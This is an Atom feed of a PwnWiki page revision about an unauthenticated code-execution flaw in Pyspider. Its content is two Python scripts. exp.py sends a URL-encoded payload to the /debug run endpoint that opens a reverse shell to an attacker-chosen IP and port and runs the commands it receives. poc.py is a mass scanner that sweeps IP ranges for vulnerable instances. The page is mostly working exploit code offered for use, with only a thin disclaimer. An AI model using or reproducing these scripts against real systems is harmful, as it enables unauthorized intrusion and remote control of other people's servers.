<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Pyspider%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E</id>
	<title>Pyspider未授權訪問漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Pyspider%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Pyspider%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T02:13:05Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Pyspider%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E&amp;diff=2473&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==exp.py== &lt;pre&gt; import requests print(&quot;这是pyspider未授权访问的EXP，它能反弹shell,但由于本人VPS过期未能测试&quot;) data=''' webdav_mode=false&amp;script=from+p...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Pyspider%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E&amp;diff=2473&amp;oldid=prev"/>
		<updated>2021-05-05T06:49:07Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==exp.py== &amp;lt;pre&amp;gt; import requests print(&amp;quot;这是pyspider未授权访问的EXP，它能反弹shell,但由于本人VPS过期未能测试&amp;quot;) data=&amp;#039;&amp;#039;&amp;#039; webdav_mode=false&amp;amp;script=from+p...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==exp.py==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import requests&lt;br /&gt;
print(&amp;quot;这是pyspider未授权访问的EXP，它能反弹shell,但由于本人VPS过期未能测试&amp;quot;)&lt;br /&gt;
data='''&lt;br /&gt;
webdav_mode=false&amp;amp;script=from+pyspider.libs.base_handler+import+*%0Aimport+socket%0Aimport+os%0Aimport+sys%0Aimport+time%0Adef+test()%3A%0A++++hacker%3D%22192.168.0.144%22%0A++++port%3D1234%0A++++server%3D(hacker%2Cport)%0A++++s%3Dsocket.socket()%0A++++s.connect(server)%0A++++while+1%3A%0A++++++++dir%3Dos.getcwd()%0A++++++++s.send(dir.encode())%0A++++++++cmd%3Ds.recv(1024).decode()%0A++++++++if+cmd%3D%3D%22exit%22%3A%0A++++++++++++exit%0A++++++++elif+cmd.startswith(%22cd%22)%3A%0A++++++++++++os.chdir(cmd%5B2%3A%5D.strip())%0A++++++++++++result%3D%22Successfully+switched+directory!%22%0A++++++++else%3A%0A++++++++++++result%3Dos.popen(cmd).read()%0A++++++++if+not+result%3A%0A++++++++++++result%3D%22Command+Execution+Completed!%22%0A++++++++s.send(result.encode())%0A++++++++time.sleep(1)%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++exec(test())&amp;amp;task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D&lt;br /&gt;
'''&lt;br /&gt;
target=input(&amp;quot;pyspider的URL:&amp;quot;)&lt;br /&gt;
ip=input(&amp;quot;你的ip:&amp;quot;)&lt;br /&gt;
port=str(input(&amp;quot;你的端口:&amp;quot;))&lt;br /&gt;
data=data.replace(&amp;quot;192.168.0.144&amp;quot;,ip).replace(&amp;quot;1234&amp;quot;,port)&lt;br /&gt;
headers={&amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded&amp;quot;}&lt;br /&gt;
url=target+&amp;quot;/debug/pyspidervulntest/run&amp;quot;&lt;br /&gt;
try:&lt;br /&gt;
    requests.post(url=url,data=data,headers=headers,timeout=1)&lt;br /&gt;
except Exception:&lt;br /&gt;
    pass&lt;br /&gt;
print(&amp;quot;已经发送paylaod请检查是否有shell弹回&amp;quot;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==poc.py==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import IPy&lt;br /&gt;
import requests&lt;br /&gt;
import datetime&lt;br /&gt;
def check_fast(ip,port):&lt;br /&gt;
    '''&lt;br /&gt;
    fast check &lt;br /&gt;
    check title only&lt;br /&gt;
    '''&lt;br /&gt;
    url=&amp;quot;http://&amp;quot;+ip+&amp;quot;:&amp;quot;+str(port)&lt;br /&gt;
    try:&lt;br /&gt;
        r=requests.get(url=url,timeout=1)&lt;br /&gt;
        if '''&amp;lt;a class=&amp;quot;btn btn-default btn-info&amp;quot; href='/tasks' target=_blank&amp;gt;Recent Active Tasks&amp;lt;/a&amp;gt;''' in r.text:&lt;br /&gt;
            return True&lt;br /&gt;
    except Exception:&lt;br /&gt;
        return False&lt;br /&gt;
    return False&lt;br /&gt;
def check_accurate(ip,port):&lt;br /&gt;
    '''&lt;br /&gt;
    accurate check&lt;br /&gt;
    check if python script can be executed&lt;br /&gt;
    '''&lt;br /&gt;
    url=&amp;quot;http://&amp;quot;+ip+&amp;quot;:&amp;quot;+str(port)+&amp;quot;/debug/pyspidervulntest/run&amp;quot;&lt;br /&gt;
    headers={&amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded&amp;quot;}&lt;br /&gt;
    data='''&lt;br /&gt;
    webdav_mode=false&amp;amp;script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print('pyspidervulnerable')&amp;amp;task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D&lt;br /&gt;
    '''&lt;br /&gt;
    try:&lt;br /&gt;
        r=requests.post(url=url,data=data,headers=headers,timeout=1)&lt;br /&gt;
        if  '&amp;quot;logs&amp;quot;: &amp;quot;pyspidervulnerable\\n&amp;quot;' in r.text:&lt;br /&gt;
            return True&lt;br /&gt;
    except Exception:&lt;br /&gt;
        return False&lt;br /&gt;
    return False&lt;br /&gt;
def main():&lt;br /&gt;
    print(&amp;quot;Pyspider 未授权访问批量扫描器&amp;quot;)&lt;br /&gt;
    print(&amp;quot;本扫描器仅供希望检查自己网络的安全性的管理员使用&amp;quot;)&lt;br /&gt;
    print(&amp;quot;[1]精准扫描&amp;quot;)&lt;br /&gt;
    print(&amp;quot;[2]快速扫描&amp;quot;)&lt;br /&gt;
    opt=input(&amp;quot;选择扫描模式:&amp;quot;)&lt;br /&gt;
    if str(opt).strip()==&amp;quot;1&amp;quot;:&lt;br /&gt;
        scan_func=check_accurate&lt;br /&gt;
    else:&lt;br /&gt;
        scan_func=check_fast&lt;br /&gt;
    ipstart=int(IPy.IP(str(input(&amp;quot;请输入起始ip:&amp;quot;))).strHex(),16)&lt;br /&gt;
    ipstop=int(IPy.IP(str(input(&amp;quot;请输入结束ip:&amp;quot;))).strHex(),16)&lt;br /&gt;
    f=open(&amp;quot;result.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
    f.write(&amp;quot;pyspider未授权访问漏洞扫描报告\n扫描时间:&amp;quot;+datetime.datetime.now().strftime('%Y-%m-%d')+&amp;quot;\n存在漏洞的主机如下:\n&amp;quot;)&lt;br /&gt;
    count=0&lt;br /&gt;
    for ip in range(ipstart,ipstop+1):&lt;br /&gt;
        ip=str(IPy.IP(ip))&lt;br /&gt;
        if scan_func(ip,&amp;quot;5000&amp;quot;):&lt;br /&gt;
            print(&amp;quot;\x1b[31m&amp;quot;+&amp;quot;[-]&amp;quot;,ip,&amp;quot;存在漏洞&amp;quot;+&amp;quot;\x1b[39m&amp;quot;)&lt;br /&gt;
            f.write(ip+&amp;quot;\n&amp;quot;)&lt;br /&gt;
            count+=1&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;[*]&amp;quot;,ip,&amp;quot;不存在漏洞&amp;quot;)&lt;br /&gt;
    print(&amp;quot;扫描完毕，共发现&amp;quot;+str(count)+&amp;quot;台主机存在漏洞&amp;quot;) &lt;br /&gt;
    f.write(&amp;quot;扫描完毕，共发现&amp;quot;+str(count)+&amp;quot;台主机存在漏洞&amp;quot;) &lt;br /&gt;
    f.close()&lt;br /&gt;
    print(&amp;quot;扫描结果已经存到result.txt&amp;quot;)&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
   main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>